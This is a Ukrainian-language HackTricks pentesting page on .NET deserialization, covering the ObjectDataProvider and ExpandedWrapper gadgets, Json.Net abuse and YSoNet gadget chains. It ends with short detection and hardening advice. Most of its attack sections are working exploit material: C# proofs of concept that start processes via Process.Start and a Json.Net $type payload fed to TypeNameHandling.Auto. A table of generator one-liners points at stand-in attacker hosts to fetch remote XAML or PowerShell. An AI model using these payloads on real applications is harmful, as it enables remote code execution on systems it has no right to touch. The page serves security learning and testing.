hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

233 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Основна десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Ця стаття присвячена **розумінню того, як експлуатується гаджет ObjectDataProvider** для отримання RCE та **як** бібліотеки серіалізації **Json.Net та xmlSerializer можуть бути зловживані** з цим гаджетом.
## Гаджет ObjectDataProvider
З документації: _клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки_.\
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє **обгортати довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів** і потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, оголошеного за допомогою довільних параметрів.\
Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.**
### **Як це можливо**
Простір імен **System.Windows.Data**, який знаходиться в **PresentationFramework.dll** за адресою `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, є місцем, де визначено та реалізовано ObjectDataProvider.
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy), ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ім'я методу**
![](<../../images/image (427).png>)
Як ви можете спостерігати, коли `MethodName` встановлено, викликається `base.Refresh()`, давайте подивимося, що це робить:
![](<../../images/image (319).png>)
Добре, продовжимо дивитися, що робить `this.BeginQuery()`. `BeginQuery` переозначено класом `ObjectDataProvider`, і ось що він робить:
![](<../../images/image (345).png>)
Зверніть увагу, що в кінці коду викликається `this.QueryWorke(null)`. Давайте подивимося, що це виконує:
![](<../../images/image (596).png>)
Зверніть увагу, що це не повний код функції `QueryWorker`, але він показує цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** це рядок, де **викликається встановлений метод**.
Якщо ви хочете перевірити, що просто встановивши _**MethodName**_, **він буде виконаний**, ви можете запустити цей код:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Зверніть увагу, що вам потрібно додати як посилання _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, щоб завантажити `System.Windows.Data`
## ExpandedWrapper
Використовуючи попередній експлойт, будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Тоді **не буде відомо про тип об'єкта, який обгорнутий** в екземплярі _ObjectDataProvider_ (`Process`, наприклад). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Цей клас дозволяє **вказати типи об'єктів об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (_ObjectDataProvider_) в новий тип об'єкта та надання необхідних властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо **обгорнути \_ObjectDataProvider**_** всередині екземпляра **_**ExpandedWrapper** \_ і **під час десеріалізації** цей клас **створить** об'єкт _**OjectDataProvider**_, який **виконає** **функцію**, вказану в _**MethodName**_.
Ви можете перевірити цей обгортальник за допомогою наступного коду:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
На [офіційному веб-сайті](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET**. Отже, якщо ми зможемо **десеріалізувати гаджет ObjectDataProvider**, ми зможемо викликати **RCE**, просто десеріалізуючи об'єкт.
### Json.Net приклад
По-перше, давайте подивимося приклад того, як **серіалізувати/десеріалізувати** об'єкт, використовуючи цю бібліотеку:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Зловживання Json.Net
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net), я створив експлойт:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
У цьому коді ви можете **перевірити експлойт**, просто запустіть його, і ви побачите, що виконується calc:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує **неконтрольовану десеріалізацію .NET**. Сучасні інструменти червоної команди, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об'єктних графів** для десятків гаджетів і форматів серіалізації.
Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з *YSoNet*, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, так що, після матеріалізації, делегат вказує на *будь-який* метод, наданий атакуючою стороною (наприклад, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти фільтрацію типів .NET ≥4.8* і безпосередньо викликати **конструктор** наданого класу або **компілювати** файл C# на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Використовує **стару XML** репрезентацію `System.Data.DataSet`, щоб створити випадкові типи, заповнюючи поля `<ColumnMapping>` / `<DataType>` (опціонально підробляючи збірку з `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне `System.CodeDom.Compiler.CompilerResults`, потім *компілює* або *завантажує* DLL, надану з `-c` | `Json.NET` без типу, `MessagePack` без типу | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (огляд) | Використовує WPF `System.Windows.Data.ObjectDataProvider`, щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl`, щоб розмістити шкідливий XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *тощо* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується, коли PowerShell десеріалізує об'єкт | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Усі корисні навантаження **за замовчуванням записуються в *stdout***, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).
### Building / Installing YSoNet
Якщо немає попередньо скомпільованих бінарних файлів під *Actions ➜ Artifacts* / *Releases*, наступна **PowerShell** команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Скомпільований `ysonet.exe` можна знайти за адресою `ysonet/bin/Release/`.
### Виявлення та зміцнення
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe` або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`).
* Увімкніть та **забезпечте фільтрацію типів** (`TypeFilterLevel` = *Full*, користувацький `SurrogateSelector`, `SerializationBinder`, *тощо*), коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений.
* Де це можливо, мігруйте до **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.
## Посилання
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net оригінальний PoC інструмент](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
{{#include ../../banners/hacktricks-training.md}}